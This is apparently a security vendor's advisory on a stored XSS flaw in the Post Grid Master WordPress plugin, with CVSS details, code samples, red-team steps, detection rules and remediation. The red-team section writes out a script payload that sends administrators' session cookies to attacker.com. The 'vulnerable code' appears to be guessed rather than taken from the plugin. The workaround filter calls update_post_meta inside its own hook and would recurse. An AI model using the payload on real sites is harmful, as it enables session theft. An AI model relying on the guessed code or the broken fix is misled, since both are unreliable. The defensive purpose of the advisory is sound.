CVE-2024-34390

Executive Summary

CVE-2024-34390 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Post Grid Master by AddonMaster, affecting versions through 3.4.8. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin’s post grid settings. When an administrator or other user views the affected grid, the malicious script executes in their browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability is classified as medium severity (CVSS 6.5) due to the requirement for authenticated access and user interaction. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, no package manager-specific mitigations apply.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Contributor or higher)
• User Interaction: Required (Admin must view the grid)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is moderate. Exploitation requires an authenticated user with at least contributor privileges, but the stored XSS can affect all users who view the compromised grid, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the Post Grid Master plugin’s grid configuration functionality. The plugin fails to properly sanitize user-supplied input when saving grid settings (e.g., custom CSS, HTML attributes, or JavaScript event handlers). This allows an attacker to inject malicious JavaScript code that is stored in the WordPress database and executed when the grid is rendered on the frontend or backend.

Root Cause: The plugin uses add_option or update_option to store grid settings without applying WordPress’s built-in wp_kses or similar sanitization functions. When the grid is displayed, the unsanitized data is echoed directly into the page, enabling script execution.

Attack Flow:

1. Attacker logs in with contributor-level access.
2. Attacker creates or edits a post grid and injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
3. The payload is stored in the database.
4. When an administrator or other user views the grid, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.4.8):

// In post-grid-master.php or similar
function save_grid_settings($grid_id, $settings) {
    update_post_meta($grid_id, 'pgm_grid_settings', $settings);
}
function display_grid($grid_id) {
    $settings = get_post_meta($grid_id, 'pgm_grid_settings', true);
    echo '<div class="pgm-grid" data-settings="' . $settings['custom_css'] . '">';
    // ...
}

Patched Code (hypothetical):

function save_grid_settings($grid_id, $settings) {
    $sanitized = array_map('sanitize_text_field', $settings);
    update_post_meta($grid_id, 'pgm_grid_settings', $sanitized);
}
function display_grid($grid_id) {
    $settings = get_post_meta($grid_id, 'pgm_grid_settings', true);
    echo '<div class="pgm-grid" data-settings="' . esc_attr($settings['custom_css']) . '">';
    // ...
}

The patch would involve sanitizing input with sanitize_text_field or wp_kses and escaping output with esc_attr or esc_html.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Post Grid Master <= 3.4.8
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Navigate to Post Grid Master > Add New Grid.
3. In the Custom CSS or Custom HTML field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the grid.
5. Wait for an administrator to view the grid, or share the grid link with them.

Expected Result: The admin’s session cookie is exfiltrated to the attacker’s server.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual grid creation or modification by non-admin users.
• Look for suspicious strings in wp_postmeta where meta_key is pgm_grid_settings.

Prevention:

• Restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Apply the principle of least privilege.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/post-grid-master/post-grid-master.php (version <= 3.4.8)
• Database: wp_postmeta entries with meta_key = 'pgm_grid_settings' containing <script> tags or event handlers like onload, onerror.
• Network: Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar data.
• Logs: WordPress audit logs showing grid creation/modification by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2024_34390_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Post Grid Master plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34390"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /on\w+\s*=\s*["'][^"']*["']/is
        $meta_key = "pgm_grid_settings"
    condition:
        $meta_key and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in Post Grid Master Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Post Grid Master plugin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "pgm_grid_settings"
        meta_value|contains: 
            - "<script"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in grid settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34390 Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict contributor roles to only trusted users.
3. Review and clean any existing grid settings for malicious content.

Long-term Fix:

• Apply the vendor’s patch when released (currently UNKNOWN).
• Implement input sanitization and output escaping in custom code.
• Use a WordPress security plugin that monitors for XSS attempts.

Workaround:

• Add a custom function to your theme’s functions.php to sanitize grid settings on save:

  add_filter('update_post_metadata', function($check, $object_id, $meta_key, $meta_value) {
      if ($meta_key === 'pgm_grid_settings') {
          $meta_value = array_map('sanitize_text_field', $meta_value);
          update_post_meta($object_id, $meta_key, $meta_value);
          return true;
      }
      return $check;
  }, 10, 4);
  

Valters IT
Securing Digital Frontiers